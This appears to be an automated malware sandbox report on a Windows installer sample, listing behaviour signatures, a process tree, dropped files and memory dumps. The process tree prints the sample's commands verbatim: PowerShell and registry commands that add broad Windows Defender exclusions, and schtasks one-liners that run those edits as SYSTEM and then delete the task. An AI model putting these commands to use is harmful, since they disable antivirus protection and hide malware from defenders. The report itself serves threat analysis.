Analysis

  • max time kernel
    151s
  • max time network
    157s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    15/08/2026, 02:08

General

  • Target
    appinst_up001.exe
  • Size 36.8MB
  • Sample260815-ckqfcsdc92
  • SHA256 9d0a4e5a6200a9e34cb663b6387d0883b7d02fe0f5d3253ff265259286f28cc1
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Windows security bypass 2 TTPs 6 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 2 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Indicator Removal: Clear Persistence 1 TTPs 5 IoCs

    Clear artifacts associated with previously established persistence like scheduletasks on a host.

  • Drops file in System32 directory 1 IoCs
  • Drops file in Program Files directory 3 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 3 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 22 IoCs
  • Suspicious use of WriteProcessMemory 24 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\appinst_up001.exe
    "C:\Users\Admin\AppData\Local\Temp\appinst_up001.exe"
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    PID:3324
  • C:\Windows\system32\svchost.exe
    C:\Windows\system32\svchost.exe -k GPSvcGroup
    1⤵
      PID:1812
    • C:\Users\Public\Sg6bx2\ogwgYO.exe
      "C:\Users\Public\Sg6bx2\ogwgYO.exe"
      1⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • Adds Run key to start application
      • Drops file in System32 directory
      • Drops file in Program Files directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:2304
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious use of AdjustPrivilegeToken
        PID:1916
      • C:\Windows\System32\cmd.exe
        "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\Sg6bx2\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
        2⤵
        • Indicator Removal: Clear Persistence
        • Suspicious use of WriteProcessMemory
        PID:5444
        • C:\Windows\system32\schtasks.exe
          SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\Sg6bx2\" /t REG_DWORD /d 0 /f"
          3⤵
          • Scheduled Task/Job: Scheduled Task
          PID:4636
        • C:\Windows\system32\schtasks.exe
          SCHTASKS /Run /TN "Task1"
          3⤵
            PID:3280
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Delete /TN "Task1" /F
            3⤵
              PID:2260
          • C:\Windows\System32\cmd.exe
            "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
            2⤵
            • Indicator Removal: Clear Persistence
            • Suspicious use of WriteProcessMemory
            PID:1016
            • C:\Windows\system32\schtasks.exe
              SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
              3⤵
              • Scheduled Task/Job: Scheduled Task
              PID:788
            • C:\Windows\system32\schtasks.exe
              SCHTASKS /Run /TN "Task1"
              3⤵
                PID:1180
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Delete /TN "Task1" /F
                3⤵
                  PID:5772
              • C:\Windows\System32\cmd.exe
                "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                2⤵
                • Indicator Removal: Clear Persistence
                • Suspicious use of WriteProcessMemory
                PID:4452
                • C:\Windows\system32\schtasks.exe
                  SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
                  3⤵
                  • Scheduled Task/Job: Scheduled Task
                  PID:6068
                • C:\Windows\system32\schtasks.exe
                  SCHTASKS /Run /TN "Task1"
                  3⤵
                    PID:5376
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Delete /TN "Task1" /F
                    3⤵
                      PID:5848
                  • C:\Windows\System32\cmd.exe
                    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                    2⤵
                    • Indicator Removal: Clear Persistence
                    • Suspicious use of WriteProcessMemory
                    PID:608
                    • C:\Windows\system32\schtasks.exe
                      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
                      3⤵
                      • Scheduled Task/Job: Scheduled Task
                      PID:6056
                    • C:\Windows\system32\schtasks.exe
                      SCHTASKS /Run /TN "Task1"
                      3⤵
                        PID:5356
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Delete /TN "Task1" /F
                        3⤵
                          PID:4552
                      • C:\Windows\System32\cmd.exe
                        "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                        2⤵
                        • Indicator Removal: Clear Persistence
                        • Suspicious use of WriteProcessMemory
                        PID:4692
                        • C:\Windows\system32\schtasks.exe
                          SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
                          3⤵
                          • Scheduled Task/Job: Scheduled Task
                          PID:2400
                        • C:\Windows\system32\schtasks.exe
                          SCHTASKS /Run /TN "Task1"
                          3⤵
                            PID:3512
                          • C:\Windows\system32\schtasks.exe
                            SCHTASKS /Delete /TN "Task1" /F
                            3⤵
                              PID:2412
                        • C:\Users\Public\Sg6bx2\ogwgYO.exe
                          "C:\Users\Public\Sg6bx2\ogwgYO.exe"
                          1⤵
                          • Executes dropped EXE
                          • Loads dropped DLL
                          PID:4368
                        • C:\Windows\system32\cmd.exe
                          "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\Sg6bx2" /t REG_DWORD /d 0 /f
                          1⤵
                          • Executes a command shell one-liner
                          • Suspicious use of WriteProcessMemory
                          PID:5636
                          • C:\Windows\System32\reg.exe
                            reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\Sg6bx2" /t REG_DWORD /d 0 /f
                            2⤵
                            • Windows security bypass
                            PID:6132
                        • C:\Windows\system32\cmd.exe
                          cmd.exe
                          1⤵
                            PID:1604
                          • C:\Windows\system32\cmd.exe
                            "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
                            1⤵
                            • Executes a command shell one-liner
                            • Suspicious use of WriteProcessMemory
                            PID:5404
                            • C:\Windows\System32\reg.exe
                              reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
                              2⤵
                              • Windows security bypass
                              PID:5100
                          • C:\Windows\system32\cmd.exe
                            "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                            1⤵
                            • Executes a command shell one-liner
                            • Suspicious use of WriteProcessMemory
                            PID:4612
                            • C:\Windows\System32\reg.exe
                              reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                              2⤵
                              • Windows security bypass
                              PID:2292

                          Network

                                MITRE ATT&CK Enterprise v16

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                                Downloads

                                UxEnhance64.dll

                                • Path C:\Users\Public\Sg6bx2\UxEnhance64.dll
                                • Size 3.1MB
                                • SHA256 3064e3a61d8153dd0f68e4df2e75fad5669ad663cbb068bfc1a1bbef75282e54
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                adoresd.dat

                                • Path C:\Users\Public\Sg6bx2\adoresd.dat
                                • Size 4.7MB
                                • SHA256 ac4bec069c42cf7812597f183bc874851f6e12cff2e09549d4877cdfbcac7712
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                msadox.tb

                                • Path C:\Users\Public\Sg6bx2\msadox.tb
                                • Size 8KB
                                • SHA256 b437464d312f30bc13484c1d1e0a4813d1a958120f7b8b06d1019969d088d726
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                ogwgYO.exe

                                • Path C:\Users\Public\Sg6bx2\ogwgYO.exe
                                • Size 135KB
                                • SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                memory/1916-598-0x000002A8CA0B0000-0x000002A8CA0BA000-memory.dmp

                                memory/1916-597-0x000002A8CA3C0000-0x000002A8CA472000-memory.dmp

                                memory/1916-596-0x000002A8CA090000-0x000002A8CA0AE000-memory.dmp

                                memory/1916-593-0x000002A8CA040000-0x000002A8CA062000-memory.dmp

                                memory/2304-562-0x0000019D3A3E0000-0x0000019D3A46A000-memory.dmp

                                memory/2304-557-0x0000019D3A300000-0x0000019D3A34E000-memory.dmp

                                memory/2304-531-0x00007FF8D6890000-0x00007FF8D6892000-memory.dmp

                                memory/2304-537-0x0000019D39A20000-0x0000019D3A2B1000-memory.dmp

                                memory/2304-539-0x00007FF8D68A0000-0x00007FF8D68A2000-memory.dmp

                                memory/2304-540-0x0000019D39A20000-0x0000019D3A2B1000-memory.dmp

                                memory/2304-544-0x0000019D39A20000-0x0000019D3A2B1000-memory.dmp

                                memory/2304-545-0x0000019D39A20000-0x0000019D3A2B1000-memory.dmp

                                memory/2304-546-0x0000019D39A20000-0x0000019D3A2B1000-memory.dmp

                                memory/2304-547-0x0000019D39A20000-0x0000019D3A2B1000-memory.dmp

                                memory/2304-551-0x0000019D39A20000-0x0000019D3A2B1000-memory.dmp

                                memory/2304-559-0x0000019D3A3E0000-0x0000019D3A46A000-memory.dmp

                                memory/2304-568-0x0000019D39A20000-0x0000019D3A2B1000-memory.dmp

                                memory/2304-561-0x0000019D3A3E0000-0x0000019D3A46A000-memory.dmp

                                memory/2304-558-0x0000019D3A3E0000-0x0000019D3A46A000-memory.dmp

                                memory/2304-532-0x00007FF8B44D0000-0x00007FF8B49EE000-memory.dmp

                                memory/2304-564-0x0000019D39A20000-0x0000019D3A2B1000-memory.dmp

                                memory/2304-567-0x0000019D39A20000-0x0000019D3A2B1000-memory.dmp

                                memory/3324-0-0x00000000005B0000-0x00000000005BE000-memory.dmp

                                memory/3324-1-0x00000000005C0000-0x00000000005CC000-memory.dmp

                                memory/3324-503-0x00007FF8CDE20000-0x00007FF8CDE32000-memory.dmp

                                memory/3324-525-0x00000000005B0000-0x00000000005BE000-memory.dmp

                                memory/3324-526-0x00007FF8CDE20000-0x00007FF8CDE32000-memory.dmp

                                memory/4368-587-0x00000201ADA10000-0x00000201AE2A1000-memory.dmp

                                memory/4368-585-0x00000201ADA10000-0x00000201AE2A1000-memory.dmp

                                memory/4368-588-0x00000201ADA10000-0x00000201AE2A1000-memory.dmp

                                memory/4368-589-0x00007FF8D6890000-0x00007FF8D6892000-memory.dmp

                                memory/4368-586-0x00000201ADA10000-0x00000201AE2A1000-memory.dmp

                                memory/4368-583-0x00000201ADA10000-0x00000201AE2A1000-memory.dmp

                                memory/4368-580-0x00007FF8D68A0000-0x00007FF8D68A2000-memory.dmp

                                memory/4368-578-0x00000201ADA10000-0x00000201AE2A1000-memory.dmp

                                memory/4368-575-0x00007FF8B44D0000-0x00007FF8B49EE000-memory.dmp